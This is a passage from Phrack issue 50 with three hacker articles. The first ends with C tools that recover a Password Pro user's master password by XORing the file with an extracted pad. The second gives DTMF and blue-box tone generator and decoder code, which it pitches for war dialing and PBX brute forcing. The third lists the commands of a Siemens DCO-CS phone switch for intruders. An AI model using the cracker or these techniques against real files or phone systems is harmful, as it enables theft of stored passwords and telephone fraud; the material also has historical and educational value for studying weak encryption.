   It was clear that all of the information necessary to attack the password
was being stored somewhere in those first 32 bytes.  The easiest way to
scramble the password would be a bit-shift (rot-13) or to XOR the password
with a single character. If this was true, the password 'password' should
show the two consecutive 's' characters as being the same value.  I looked
through the hex dump of the file to see if this appeared to be true, and
it wasn't.

   The next complication in encryption is to XOR the files with a 'pad'.  This
would mean that each letter in the password would be XOR-ed with a different
byte, up to the length of the pad, and then it would start over XORing with
the first letter of the pad, and so on.  If this were the case, changing one
letter in my password would only change one byte in the file.  I created a
password of 'pastword' and diffed the files; only 1 byte changed.  This looked
promising, so it was time to extract the 'pad' from the file.  For an eight
letter password, I need to find out what the 8 bytes being used to XOR the
file are.  The way to do this is to simply take a file the program creates
with a known password, and XOR the file with the password, resulting in the 
pad.  This reverses what the program originally did, which was XOR the 
password with the pad to create the file.

<++> pwp-pad.c
/* pwp-pad.c - ZD Password Pro for Windows Pad Reader (1/14/97)
 *
 * Syntax: pwp-pad filename.lst password
 *
 * Given a database file created by Password Pro and the password entered to
 * protect the file, outputs the pad being used by Password Pro to encrypt
 * files.
 *
 */

#include <stdio.h>

main(int argc, char **argv) {
  FILE *fpass;
  char pbuf[32], inbuf[32];
  char *password, *pptr;
  int i;

  /* check command line arguments */
  if(argc < 3) {
    fprintf(stderr, "Syntax: %s filename.lst password\n", argv[0]);
    exit(1);
  }

  password = argv[2];

  /* open the file */
  fpass = fopen(argv[1],"r");
  if(!fpass) {
    fprintf(stderr, "Unable to open file %s\n", argv[1]);
    exit(1);
  }

  /* read from file */
  if(fread(pbuf, 1, 32, fpass) != 32) {
    fprintf(stderr, "Unable to read password entry from file.\n");
    exit(1);
  }

  /* output pad by xor file contents with password from command line */
  printf("Pad: ");
  for(i=0; i<32 && pbuf[i]; i++) {
    pbuf[i] ^= password[i];
    printf("%x ", 0xff & pbuf[i]);
  }
  printf("\n");
}
<-->

   Now that we have the pad, the next step is to use that pad to actually
crack the contents of someone else's file.  The way we do that is by taking
someone's lst file that we don't know the password for, and XORing the start
of the file with the pad.  This will result in the password that they stored
the file with, which we can then enter into the program to view the contents.

<++>
/* pwp-crack.c - ZD Password Pro for Windows Cracker (1/14/97)
 *
 * Syntax: pwp-crack filename.lst
 *
 * Outputs the password entered by the user of Password Pro to protect others
 * from reading the contents of their account and password database.
 *
 */

#include <stdio.h>

main(int argc, char **argv) {
  FILE *fin;
  char inbuf[32];
  char pad[] = { 0x38, 0x17, 0x2b, 0x8c, 0x59, 0xaf, 0xe6, 0x03, 0x61, 0x85 };
  int i;

  if(argc < 2) {
    fprintf(stderr, "Syntax: %s filename.lst\n\n", argv[0]);
    exit(1);
  }

  fin = fopen(argv[1],"r");
  if(!fin) {
    fprintf(stderr, "Unable to open %s for reading\n", argv[1]);
    exit(1);
  }

  if(fread(inbuf, 1, 32, fin) != 32) {
    fprintf(stderr, "Unable to read password from file.\n");
    exit(1);
  }
  
  printf("Password: ");
  for(i=0; i<32 && inbuf[i]; i++) {
    inbuf[i] ^= pad[i % sizeof(pad)];
    printf("%c", inbuf[i]);
  }
  printf("\n");
}

<-->


V.  Conclusion

   If you are interested in any of this, I strongly encourage you to go out
and find holes and write exploits on your own.  I'm sure Phrack would love 
to hear about any findings you make, so let us know how you are doing.

   If you are a software developer and are interested in avoiding become a 
victim of one of Phrack's budding hackers, or just want to learn more about
practical crytography, I suggest you pick up a copy of Bruce Schneier's 
Applied Cryptography available at any big bookstore.  
   
EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     13 of 16
 
                         ===============================
                         DTMF Encoding and Decoding In C
                                    by Mr. Blue
                         ===============================

  
Introduction
------------
    DTMF tones are the sounds emitted when you dial a number on your touch 
tone phone.  Modems have traditionally been the device used to generate
these tones from a computer.  But the more sophisticated modems on the
market today are nothing more than a DSP (digital signal processor) with
accompanying built-in software to generate and interpet analog sounds into
digital data.  The computers sitting on your desk have more cpu power,
a more complex OS, and very often a just as sophisticated DSP.  There is
no reason you can not duplicate the functionality of a modem from right
inside of unix software, providing you with a lot easier to understand and
modify code.  

    In this article I provide the source code to both encode and decode
DTMF tones.  There are numerous uses for this code, for use in unix based 
phone scanning and war dialing programs, voice mail software, automated
pbx brute force hacking, and countless other legitimate and not so
legitimate uses.

    I will not go into depth explaining the underlying mathematical
theories behind this code.  If you are of a sufficient math background I
would encourage you to research and learn about the algorithms used from
your local college library; it is not my intent to summarize these
algorithms, only to provide unix C code that can be used on its own or
expanded to be used as part of a larger program.  

    Use the extract utility included with Phrack to save the individual
source files out to the dtmf/ directory.  If you find this code useful, I
would encourage you to show your appreciation by sharing some of your own
knowledge with Phrack.    

<++> dtmf/detect.h
/* 
 *
 * goertzel aglorithm, find the power of different
 * frequencies in an N point DFT.
 *
 * ftone/fsample = k/N   
 * k and N are integers.  fsample is 8000 (8khz)
 * this means the *maximum* frequency resolution
 * is fsample/N (each step in k corresponds to a
 * step of fsample/N hz in ftone)
 *
 * N was chosen to minimize the sum of the K errors for
 * all the tones detected...  here are the results :
 *
 * Best N is 240, with the sum of all errors = 3.030002
 * freq  freq actual   k     kactual  kerr
 * ---- ------------  ------ ------- -----
 *  350 (366.66667)   10.500 (11)    0.500
 *  440 (433.33333)   13.200 (13)    0.200
 *  480 (466.66667)   14.400 (14)    0.400
 *  620 (633.33333)   18.600 (19)    0.400
 *  697 (700.00000)   20.910 (21)    0.090
 *  700 (700.00000)   21.000 (21)    0.000
 *  770 (766.66667)   23.100 (23)    0.100
 *  852 (866.66667)   25.560 (26)    0.440
 *  900 (900.00000)   27.000 (27)    0.000
 *  941 (933.33333)   28.230 (28)    0.230
 * 1100 (1100.00000)  33.000 (33)    0.000
 * 1209 (1200.00000)  36.270 (36)    0.270
 * 1300 (1300.00000)  39.000 (39)    0.000
 * 1336 (1333.33333)  40.080 (40)    0.080
 **** I took out 1477.. too close to 1500
 * 1477 (1466.66667)  44.310 (44)    0.310
 ****
 * 1500 (1500.00000)  45.000 (45)    0.000
 * 1633 (1633.33333)  48.990 (49)    0.010
 * 1700 (1700.00000)  51.000 (51)    0.000
 * 2400 (2400.00000)  72.000 (72)    0.000
 * 2600 (2600.00000)  78.000 (78)    0.000
 *
 * notice, 697 and 700hz are indestinguishable (same K)
 * all other tones have a seperate k value.  
 * these two tones must be treated as identical for our
 * analysis.
 *
 * The worst tones to detect are 350 (error = 0.5, 
 * detet 367 hz) and 852 (error = 0.44, detect 867hz). 
 * all others are very close.
 *
 */

#define FSAMPLE  8000
#define N        240

int k[] = { 11, 13, 14, 19, 21, 23, 26, 27, 28, 33, 36, 39, 40,
 /*44,*/ 45, 49, 51, 72, 78, };

/* coefficients for above k's as:
 *   2 * cos( 2*pi* k/N )
 */
float coef[] = {
1.917639, 1.885283, 1.867161, 1.757634, 
1.705280, 1.648252, 1.554292, 1.520812, 1.486290, 
1.298896, 1.175571, 1.044997, 1.000000, /* 0.813473,*/ 
0.765367, 0.568031, 0.466891, -0.618034, -0.907981,  };

#define X1    0    /* 350 dialtone */
#define X2    1    /* 440 ring, dialtone */
#define X3    2    /* 480 ring, busy */
#define X4    3    /* 620 busy */

#define R1    4    /* 697, dtmf row 1 */
#define R2    5    /* 770, dtmf row 2 */
#define R3    6    /* 852, dtmf row 3 */
#define R4    8    /* 941, dtmf row 4 */
#define C1   10    /* 1209, dtmf col 1 */
#define C2   12    /* 1336, dtmf col 2 */
#define C3   13    /* 1477, dtmf col 3 */
#define C4   14    /* 1633, dtmf col 4 */

#define B1    4    /* 700, blue box 1 */
#define B2    7    /* 900, bb 2 */
#define B3    9    /* 1100, bb 3 */
#define B4   11    /* 1300, bb4 */
#define B5   13    /* 1500, bb5 */
#define B6   15    /* 1700, bb6 */
#define B7   16    /* 2400, bb7 */
#define B8   17    /* 2600, bb8 */

#define NUMTONES 18 

/* values returned by detect 
 *  0-9     DTMF 0 through 9 or MF 0-9
 *  10-11   DTMF *, #
 *  12-15   DTMF A,B,C,D
 *  16-20   MF last column: C11, C12, KP1, KP2, ST
 *  21      2400
 *  22      2600
 *  23      2400 + 2600
 *  24      DIALTONE
 *  25      RING
 *  26      BUSY
 *  27      silence
 *  -1      invalid
 */
#define D0    0
#define D1    1
#define D2    2
#define D3    3
#define D4    4
#define D5    5
#define D6    6
#define D7    7
#define D8    8
#define D9    9
#define DSTAR 10
#define DPND  11
#define DA    12
#define DB    13
#define DC    14
#define DD    15
#define DC11  16
#define DC12  17
#define DKP1  18
#define DKP2  19
#define DST   20
#define D24   21 
#define D26   22
#define D2426 23
#define DDT   24
#define DRING 25
#define DBUSY 26
#define DSIL  27

/* translation of above codes into text */
char *dtran[] = {
  "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
  "*", "#", "A", "B", "C", "D", 
  "+C11 ", "+C12 ", " KP1+", " KP2+", "+ST ",
  " 2400 ", " 2600 ", " 2400+2600 ",
  " DIALTONE ", " RING ", " BUSY ","" };

#define RANGE  0.1           /* any thing higher than RANGE*peak is "on" */
#define THRESH 100.0         /* minimum level for the loudest tone */
#define FLUSH_TIME 100       /* 100 frames = 3 seconds */

<-->
<++> dtmf/detect.c

/*
 * detect.c
 * This program will detect MF tones and normal
 * dtmf tones as well as some other common tones such
 * as BUSY, DIALTONE and RING.
 * The program uses a goertzel algorithm to detect
 * the power of various frequency ranges.
 *
 * input is assumed to be 8 bit samples.  The program
 * can use either signed or unsigned samples according
 * to a compile time option:
 *
 *    cc  -DUNSIGNED detect.c -o detect
 *
 * for unsigned input (soundblaster) and:
 *
 *    cc  detect.c -o detect
 *
 * for signed input (amiga samples)
 * if you dont want flushes,  -DNOFLUSH
 * 
 *                            Tim N.
 */

#include <stdio.h>
#include <math.h>
#include "detect.h"

/*
 * calculate the power of each tone according
 * to a modified goertzel algorithm described in
 *  _digital signal processing applications using the
 *  ADSP-2100 family_ by Analog Devices
 *
 * input is 'data',  N sample values
 *
 * ouput is 'power', NUMTONES values
 *  corresponding to the power of each tone 
 */
calc_power(data,power)
#ifdef UNSIGNED
unsigned char *data;
#else
char *data;
#endif
float *power;
{
  float u0[NUMTONES],u1[NUMTONES],t,in;
  int i,j;
  
  for(j=0; j<NUMTONES; j++) {
    u0[j] = 0.0;
    u1[j] = 0.0;
  }
  for(i=0; i<N; i++) {   /* feedback */
#ifdef UNSIGNED
    in = ((int)data[i] - 128) / 128.0;
#else
    in = data[i] / 128.0;
#endif
    for(j=0; j<NUMTONES; j++) {
      t = u0[j];
      u0[j] = in + coef[j] * u0[j] - u1[j];
      u1[j] = t;
    }
  }
  for(j=0; j<NUMTONES; j++)   /* feedforward */
    power[j] = u0[j] * u0[j] + u1[j] * u1[j] - coef[j] * u0[j] * u1[j]; 
  return(0);
}


/*
 * detect which signals are present.
 *
 * return values defined in the include file
 * note: DTMF 3 and MF 7 conflict.  To resolve
 * this the program only reports MF 7 between
 * a KP and an ST, otherwise DTMF 3 is returned
 */
decode(data)
char *data;
{
  float power[NUMTONES],thresh,maxpower;
  int on[NUMTONES],on_count;
  int bcount, rcount, ccount;
  int row, col, b1, b2, i;
  int r[4],c[4],b[8];
  static int MFmode=0;
  
  calc_power(data,power);
  for(i=0, maxpower=0.0; i<NUMTONES;i++)
    if(power[i] > maxpower)
      maxpower = power[i]; 
/*
for(i=0;i<NUMTONES;i++) 
  printf("%f, ",power[i]);
printf("\n");
*/

  if(maxpower < THRESH)  /* silence? */ 
    return(DSIL);
  thresh = RANGE * maxpower;    /* allowable range of powers */
  for(i=0, on_count=0; i<NUMTONES; i++) {
    if(power[i] > thresh) { 
      on[i] = 1;
      on_count ++;
    } else
      on[i] = 0;
  }

/*
printf("%4d: ",on_count);
for(i=0;i<NUMTONES;i++)
  putchar('0' + on[i]);
printf("\n");
*/

  if(on_count == 1) {
    if(on[B7]) 
      return(D24);
    if(on[B8])
      return(D26);
    return(-1);
  }
 
  if(on_count == 2) {
    if(on[X1] && on[X2])
      return(DDT);
    if(on[X2] && on[X3])
      return(DRING);
    if(on[X3] && on[X4])
      return(DBUSY);
    
    b[0]= on[B1]; b[1]= on[B2]; b[2]= on[B3]; b[3]= on[B4];
    b[4]= on[B5]; b[5]= on[B6]; b[6]= on[B7]; b[7]= on[B8];
    c[0]= on[C1]; c[1]= on[C2]; c[2]= on[C3]; c[3]= on[C4];
    r[0]= on[R1]; r[1]= on[R2]; r[2]= on[R3]; r[3]= on[R4];

    for(i=0, bcount=0; i<8; i++) {
      if(b[i]) {
        bcount++;
        b2 = b1;
        b1 = i;
      }
    }
    for(i=0, rcount=0; i<4; i++) {
      if(r[i]) {
        rcount++;
        row = i;
      }
    }
    for(i=0, ccount=0; i<4; i++) {
      if(c[i]) {
        ccount++;
        col = i;
      }
    }

    if(rcount==1 && ccount==1) {   /* DTMF */
      if(col == 3)  /* A,B,C,D */
        return(DA + row);
      else {
        if(row == 3 && col == 0 ) 
           return(DSTAR);
        if(row == 3 && col == 2 )
           return(DPND);
        if(row == 3)
           return(D0);
        if(row == 0 && col == 2) {   /* DTMF 3 conflicts with MF 7 */
          if(!MFmode)
            return(D3);
        } else 
          return(D1 + col + row*3);
      }
    }

    if(bcount == 2) {       /* MF */
      /* b1 has upper number, b2 has lower */
      switch(b1) {
        case 7: return( (b2==6)? D2426: -1); 
        case 6: return(-1);
        case 5: if(b2==2 || b2==3)  /* KP */
                  MFmode=1;
                if(b2==4)  /* ST */
                  MFmode=0; 
                return(DC11 + b2);
        /* MF 7 conflicts with DTMF 3, but if we made it
         * here then DTMF 3 was already tested for 
         */
        case 4: return( (b2==3)? D0: D7 + b2);
        case 3: return(D4 + b2);
        case 2: return(D2 + b2);
        case 1: return(D1);
      }
    }
    return(-1);
  }

  if(on_count == 0)
    return(DSIL);
  return(-1); 
}

read_frame(fd,buf)
int fd;
char *buf;
{
  int i,x;

  for(i=0; i<N; ) {
    x = read(fd, &buf[i], N-i);
    if(x <= 0) 
      return(0);
    i += x;
  } 
  return(1);
}

/*
 * read in frames, output the decoded
 * results
 */
dtmf_to_ascii(fd1, fd2)
int fd1;
FILE *fd2;
{
  int x,last= DSIL;
  char frame[N+5];
  int silence_time;

  while(read_frame(fd1, frame)) {
    x = decode(frame); 
/*
if(x== -1) putchar('-');
if(x==DSIL) putchar(' ');
if(x!=DSIL && x!=-1) putchar('a' + x);
fflush(stdout);
continue;
*/

    if(x >= 0) {
      if(x == DSIL)
        silence_time += (silence_time>=0)?1:0 ;
      else
        silence_time= 0;
      if(silence_time == FLUSH_TIME) {
        fputs("\n",fd2);
        silence_time= -1;   /* stop counting */
      }

      if(x != DSIL && x != last &&
         (last == DSIL || last==D24 || last == D26 ||
          last == D2426 || last == DDT || last == DBUSY ||
          last == DRING) )  { 
        fputs(dtran[x], fd2);
#ifndef NOFLUSH
        fflush(fd2);
#endif
      }
      last = x;
    }
  }
  fputs("\n",fd2);
}

main(argc,argv) 
int argc;
char **argv;
{
  FILE *output;
  int input;

  input = 0;
  output = stdout;
  switch(argc) {
    case 1:  break;
    case 3:  output = fopen(argv[2],"w");
             if(!output) {
               perror(argv[2]);
               return(-1);
             }
             /* fall through */
    case 2:  input = open(argv[1],0);
             if(input < 0) {
               perror(argv[1]);
               return(-1);
             }
             break;
     default:
        fprintf(stderr,"usage:  %s [input [output]]\n",argv[0]);
        return(-1);
  }
  dtmf_to_ascii(input,output);
  fputs("Done.\n",output);
  return(0);
}

<-->
<++> dtmf/gen.c

/* -------- local defines (if we had more.. seperate file) ----- */
#define FSAMPLE   8000   /* sampling rate, 8KHz */

/*
 * FLOAT_TO_SAMPLE converts a float in the range -1.0 to 1.0 
 * into a format valid to be written out in a sound file
 * or to a sound device 
 */
#ifdef SIGNED
#  define FLOAT_TO_SAMPLE(x)    ((char)((x) * 127.0))
#else
#  define FLOAT_TO_SAMPLE(x)    ((char)((x + 1.0) * 127.0))
#endif

#define SOUND_DEV  "/dev/dsp"
typedef char sample;
/* --------------------------------------------------------------- */

#include <fcntl.h>

/*
 * take the sine of x, where x is 0 to 65535 (for 0 to 360 degrees)
 */
float mysine(in)
short in;
{
  static coef[] = {
     3.140625, 0.02026367, -5.325196, 0.5446778, 1.800293 };
  float x,y,res;
  int sign,i;
 
  if(in < 0) {       /* force positive */
    sign = -1;
    in = -in;
  } else
    sign = 1;
  if(in >= 0x4000)      /* 90 degrees */
    in = 0x8000 - in;   /* 180 degrees - in */
  x = in * (1/32768.0); 
  y = x;               /* y holds x^i) */
  res = 0;
  for(i=0; i<5; i++) {
    res += y * coef[i];
    y *= x;
  }
  return(res * sign); 
}

/*
 * play tone1 and tone2 (in Hz)
 * for 'length' milliseconds
 * outputs samples to sound_out
 */
two_tones(sound_out,tone1,tone2,length)
int sound_out;
unsigned int tone1,tone2,length;
{
#define BLEN 128
  sample cout[BLEN];
  float out;
  unsigned int ad1,ad2;
  short c1,c2;
  int i,l,x;
   
  ad1 = (tone1 << 16) / FSAMPLE;
  ad2 = (tone2 << 16) / FSAMPLE;
  l = (length * FSAMPLE) / 1000;
  x = 0;
  for( c1=0, c2=0, i=0 ;
       i < l;
       i++, c1+= ad1, c2+= ad2 ) {
    out = (mysine(c1) + mysine(c2)) * 0.5;
    cout[x++] = FLOAT_TO_SAMPLE(out);
    if (x==BLEN) {
      write(sound_out, cout, x * sizeof(sample));
      x=0;
    }
  }
  write(sound_out, cout, x);
}

/*
 * silence on 'sound_out'
 * for length milliseconds
 */
silence(sound_out,length)
int sound_out;
unsigned int length;
{
  int l,i,x;
  static sample c0 = FLOAT_TO_SAMPLE(0.0);
  sample cout[BLEN];

  x = 0;
  l = (length * FSAMPLE) / 1000;
  for(i=0; i < l; i++) {
    cout[x++] = c0;
    if (x==BLEN) {
      write(sound_out, cout, x * sizeof(sample));
      x=0;
    }
  }
  write(sound_out, cout, x);
}

/*
 * play a single dtmf tone
 * for a length of time,
 * input is 0-9 for digit, 10 for * 11 for #
 */
dtmf(sound_fd, digit, length)
int sound_fd;
int digit, length;
{
  /* Freqs for 0-9, *, # */
  static int row[] = {
    941, 697, 697, 697, 770, 770, 770, 852, 852, 852, 941, 941 };
  static int col[] = {
    1336, 1209, 1336, 1477, 1209, 1336, 1477, 1209, 1336, 1447,
    1209, 1477 };

  two_tones(sound_fd, row[digit], col[digit], length);
}

/*
 * take a string and output as dtmf
 * valid characters, 0-9, *, #
 * all others play as 50ms silence 
 */
dial(sound_fd, number)
int sound_fd;
char *number;
{
  int i,x;
  char c;

  for(i=0;number[i];i++) {
     c = number[i];
     x = -1;
     if(c >= '0' && c <= '9')
       x = c - '0';
     else if(c == '*')
       x = 10;
     else if(c == '#')
       x = 11;
     if(x >= 0)
       dtmf(sound_fd, x, 50);
     silence(sound_fd,50);
  }
}

main()
{
  int sfd;
  char number[100];

  sfd = open(SOUND_DEV,O_RDWR);
  if(sfd<0) {
    perror(SOUND_DEV);
    return(-1);
  }
  printf("Enter fone number: ");
  gets(number);
  dial(sfd,number);
}
<-->
<++> dtmf/Makefile
#
# Defines:
#  UNSIGNED  -  use unsigned 8 bit samples
#               otherwise use signed 8 bit samples
#

CFLAGS= -DUNSIGNED

default:	detect gen

detect: detect.c
	$(CC) detect.c -o detect

gen:	gen.c
	$(CC) gen.c -o gen

clobber: clean
	rm -rf detect gen 

clean:
	rm -rf *.o core a.out
<-->

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     14 of 16
                                                 
                     //===============================\\
                     ||  The DCO-CS Operating System  ||
                     ||              -*-              ||
                     ||                               ||
                     || by Trunkin' Fool AKA mrnobody ||
                     ||             4.1.97            ||
                     \\===============================//


	OK... this is the first part of what (hopefully) will be a little
series type thing of articles on the DCO operating system, which is from
Siemens.  DCO is run on an LLS/RLS-1000/RLS-4000 machine. It has
psychotically mad logging, but the logs are configurable from the admin
accounts.  The DCO box I was using just happened to only have a 1200 bps
dialup, so some operations (i.e. listing INWATS trunks and what they route
to) were painfully slow considering the large amount of trunks this thing
can control.  It is similar to a 4ESS in some ways, and offers some PABX
functions.  A guy can have lots of fun with one of these things...

        Some features/specifications:

        Billing Computer Interface
        --------------------------
        "The DCO-CS collects AMA data and provides direct data interface with
        your business computer, as well as 1600 BPI magnetic tape backup
        or primary data collector"

        International Callback
        ----------------------
        "Allows the system to place a return call to an international
        subscriber for the dialed domestic number originally called, either
        through a live or automated operator position."

        ISDN Transport
        --------------
        The DCO-CS is capable of switching 64 Kb/s data. This allows people
        (customers, hehe) to switch Primary and Basic Rate ISDN traffic.

        LEC Services
        ------------
        Full LEC services are offered, including POTS (duh), Centrex &
        Enhanced Centrex (combines ISDN & POTS lines in the same Centrex
        groups, direct inward dialing, call forwarding, hold, call transfer,
        intercom, conferencing, OUTWATS over line groups of any size.), CLASS
        including calling number delivery and display, selective call blocking
        and forwarding, automatic recall and call trace.


        "Hacker intrusion is detected and 'thwarted' by sophisticated pattern
recognition software.  The DCO-CS switch lets you detect abused authorization
codes and service-denied authorization codes and automatically route the
calls to your service departments.  The system also offers timed threshold
levels for both ANI and authorization codes as another form of fraud
protection.  It delivers detailed traffic and facilities usage reports to help
you plan the optimum use of your private and leased facilities."

                                --Siemens Stromberg-Carlson

        Calls are processed simultaneously with separate processors and
switching matrices.  In the event of a failure, not even calls in the process
of being switched are lost because when the failure occurs, the system simply 
switches to "its redundant processor and memory".

        I guess that before I dive straight into the commands, I should
discuss something pretty damn important.  That something is MMI. MMI
stands for Man-Machine-Interface,and is basically the 'shell' for this
system.  First off, in MMI, every command is prefixed by a '$', ie, to run
the account maintenance program, "passwm", one would type: "$PASSWM",
without the quotes. Always put a comma between parameters. For example,
say that a program ADDTFREE requires the parameters SAC(service access
code),Toll-Free Number, and the Trunk to Assign the Toll-Free number to.
The hypothetical command to add a tollfree number, 555-6969, with a SAC of
800, for example, and route it to (123)456-7890, would be: 

    "$ADDTFREE 800,5556969,1234567890" 

(without the quotes). The ';' denotes a line terminator. For example, to run 
a program PROG1, which,say, clears the terminal screen, and the INWANI
utility, one would type: "$PROG1;$INWANI", without the quotes. The ""
(quotes) are used to contain a string of one or more characters. A string
is considered anything that contains either a blank or comma not being
used as a delimiter. The '\' allows special characters to be input to
tasks (similar to linux/unix?). And finally, the ':' is synonymous to done
(whatever that means).

        Some more on MMI... The command line/response length is 65 characters,
so anything longer than 65 will be truncated.  Exit is a valid response at any
prompt.  Help is also valid and lists the valid responses with descriptions.
To automatically display the help information prior to all prompts, type
"HELP=ON" without the quotes.  "HELP=OFF" disables this function. The '^' is
used to back up a menu.  Control-P cancels a function in progress. The '&'
represents logical AND.  However, the '&&' represents a logical inclusive.
The '*' is a wildcard, and allows the user to select the entire range of
possibilities.

        'Option Words'- the option word is entered on the command line
after the task(command) name.  The Option Word can be either in octal or
ASCII.

Value   ASCII           Definition
-F1     /NODIAL         no dialogue (header or trailer msg output) to terminal
-F2     /OFFLINE        Request communication with offline CP
-F4     /NOCOMM         No user input. All input must be on the command line
-F40    /NOPAGE         Do not paginate output.
        Values may be added together to indicate multiple options, eg:
-F3 = -F1 and -F2.

        One final thing: I said that all commands must be prefixed with a '$',
however, this does not apply to input, ie when inside a program it is not
necessary.

        The next part is basically just a command list for DCO. I will do
a more detailed (tutorial even) as i learn more and as people ask for one,
or if I just feel like writing it (and I probably do, as I have read Phrack
for some time and always wanted to contribute). One last warning: the LLS/RLS
is a fairly large system, so be VERY CAREFUL as one can do about as many
bad things as good things if you're not careful.
	
	So... without further ado, heres the command list:

Command   ~   Description
-------       -----------
ABNUTL    -   perform automatic balance network (ABN) functions
ABORT     -   abort operation of an active task
ACISU     -   alarm control interface start up
ACITST    -   alarm control interface test
ACTUTL    -   display/clear/acknowledge active alarms
ADMIN     -   recent change/database administration
ALMSEN    -   switch between local and remote alarm reporting
AMA       -   configure automatic message accounting (AMA)
AMCDMP    -   administer AMA message thresholds
AMFMAU    -   verify formatted AMA tickets
AMOPT     -   administer system options
AMPRPT    -   set frequency of repeat notification of alarms
AMPUTL    -   alarm message processing utility
AUDIT     -   verify software record of hardware states match actual hardware
BKRNS     -   backup RNS disk at the host office
BLDINH    -   mask/unmask building security alarm (heh, this should be fun)
BUFDMP    -   search/clear/dump CP buffers
CANCEL    -   cancel wait timer for TID and IDN
CBUG      -   debug utility for LLS/RLS-1000 and CODC devices
CHEKER    -   compare MP memory to disk
CHKUTL    -   verify disk integrity (DCO equivalent of scandisk for dos)
CLEAR     -   initialize span error counters
CODE      -   DCO-CS customer routing
CONFIG    -   configuration control (load,switch,mask, etc.)
CONUTL    -   convert equipment numbers
COPY      -   copy databases from memory to disk
CPDMP     -   display data collected from a CP crash
CPPTCH    -   call processing patch utility
CPREST    -   online CP reset
CPSRCH    -   search CP buffer
CPSU      -   call processing startup
CSADM     -   DCO-CS administer ANI DN's and auth codes
DBADMN    -   DCO-CS change max entries in selected tables
DBUTL     -   administer MP database parameters
DBVER     -   database verifications and configuration reports
DEBUG     -   debug utility for MP
DEVMOU    -   build config file to rebuild system mount status
DIAG2     -   manually diagnose/verify fault in the MOS side of the system
DIAG3     -   manual diagnostics to test forced faults
DMPUTL    -   duplex MP utility (switchover,download,lock,etc.)
DNAUTL    -   directory number audit utility
DTIUTL    -   configure/status of DTI/DS1M for LLS/RLS-1000/RLS-4000
DUMPER    -   dump raw data records from disk
ECCRPT    -   report 1-bit parity errors corrected in MP/CP/FP
ECD       -   display error counters
EDIT      -   DCO system editor
EQCHEK    -   test access to equipped hardware
FILSYS    -   perform file or disk manipulation functions
FLSH      -   flush alarm message processing buffers
FLXANI    -   DCO-CS administer FLEX ANI tables
FPBUG     -   debug utility for FP
FPCDMP    -   display/save data collected from FP crash
FPSU      -   FP start up
FREE      -   display number of free blocks in MP memory
FXLN      -   administer/configure FX communications to an RNS
GBUG      -   generic debug utility
HEY       -   MP operating system task completion advisor
HSTUTL    -   collect/retrieve alarm message history
HOTLIN    -   DCO-CS administer hotline database
INSTAL    -   MP operating system manual task installer
INWANI    -   DCO-CS administer INWATS number routed by NPA/NXX
INWATS    -   DCO-CS administer incoming toll free (INWATS) service
ISUUTL    -   administer alarm level priorities and conditions
LLC       -   line load control of subscriber lines
LOGOFF    -   logs off the terminal
LSPT      -   light traffic tests (avoid running during heavy traffic)
MACLR     -   clear memory audit data
MANUAL    -   manual control of ports
MAUDIT    -   memory audit routine
MBI       -   report masks and errors on MBI bus
MEMCHK    -   report differences between CP memory (generic code) and disk
MEMMAP    -   display memory map
MODEM     -   administer system parameters for modem security
MOVEDB    -   DCO-CS database compress program
MSKUTL    -   temporarily mask alarm and message reporting
NITSWC    -   initiate service circuit switchover
OCC       -   DCO-CS administer system options
OPR       -   administer system operator groups
PABX      -   administer PABX groups
PARTN     -   DCO-CS administer partition number tables
PASSWM    -   administer user/password list
PATCH     -   MP operating system patcher
PATRPT    -   format patch into report
PAUDIT    -   audit patches applied to disk/system
PCOS      -   DCO-CS administer partition class of service
PED       -   administer/apply/verify patches to disk/system
POORA     -   point of origination for recorded announcements
PORTST    -   list port status; list/change lockout thresholds
PSAUTL    -   port store area (PSA) utility
REBOOT    -   reboots the maintenance processor
RECOV     -   put call processors in sync
REMOVE    -   remove a resident program from memory
RESTOR    -   restore call processor
RFRNS     -   copy files from an RNS to the host office
RGU       -   DCO-CS least cost routing/update display
RNSAMA    -   display AMA buffer status in an RNS at the host
RNSBMP    -   display RNS BMP status at the host
RNSUTL    -   configure/status/diagnostic testing of signaling links
ROTL      -   transmission/operational testing of outgoing & 2-way trunks
ROUTE     -   DCO-CS display customer routing
RRTUTL    -   reroute messages to additional terminal points
RSMUTL    -   remove/restore/mask/unmask/test RLG span
RSUTL     -   routine switchover utility
RTEST     -   routine testing
RTOPT     -   administer analog trunks and service circuits
RTR       -   administer route treatment database
SBUG      -   stop FBUG
SCTST     -   DCO-CS service circuit diagnostics
SECTTY    -   administer terminal access groups
SELMCL    -   outgoing call trace
SELNUM    -   DCO-CS administer blocked directory tables
SERV      -   DCO-CS change service circuit tables
SLUUTL    -   configure/administer/mask/test SLUS
SNCUTL    -   configure/status of SNC for LLS & RLS-1000
SPCALL    -   DCO-CS administer speed codes
STASND    -   digital alarm sending utility
STATE     -   display system state
STATE1    -   switch to system state 1
STATE2    -   switch to system state 2
STATUS    -   display system status
STOP      -   terminate execution of TEST, GBUG, DIAG2, or BTBT
SWITCH    -   manually switch tones/ringing generators/clocks (non RLS-4000)
TAPE      -   display formatted tickets on AMA tape
TASKCK    -   audits the disk database for necessary/unnecessary files
TCOS      -   administer trunk class of service
TFM       -   activate/deactive/audit/display TMRS
TFMRP     -   display specific TMRS measurements/report data/study set
TIKFM     -   DCO-CS display AMA tape format
TIME      -   display system date/time
TIMEC     -   changes system date/time
TIMER     -   administer/configure CP occupancy measurements
TKTHRS    -   administer trunk thresholds
TMAD      -   administer/configure TMRS
TMBUG     -   debugger for traffic measurement processor
TMPDMP    -   display data collected from a TMP crash
TMRPRT    -   manually display a TMRS variable report (with FP)
TRACE     -   DCO-CS call trace utility
TRACER    -   allows use of tracer board for CP
TRK       -   administer trunk group assignments
TRKUTL    -   administer trunk testing database
TSEP      -   administer/configure traffic separations
TTU       -   administer translation database
UNMASK    -   enable reporting of messages & H/W faults (non-RLS-4000)
UNSYNC    -   take call processors out of sync
UPACK     -   unpack a file
UPDATE    -   update the system state
UTL       -   mount/dismount device/feature; configure tasks
VALPC     -   DCO-CS administer validated project codes
VCHECK    -   version checker
VST       -   administer variable state timers
XDSO      -   CP message sender/debugger
XFER      -   transfer files between the DCO and another system
XRTEST    -   terminate routine testing

        Thats all for the commands... I will probably write a follow-up
explaining some of the commands usage, what a DCO looks like when you call it
(ie how you know its a DCO machine), what some defaults are, how to route
numbers using INWATS or INWANI, and whatever else i figure out... for now,
have phun & read Phrack...  Feel free to contact me:
    
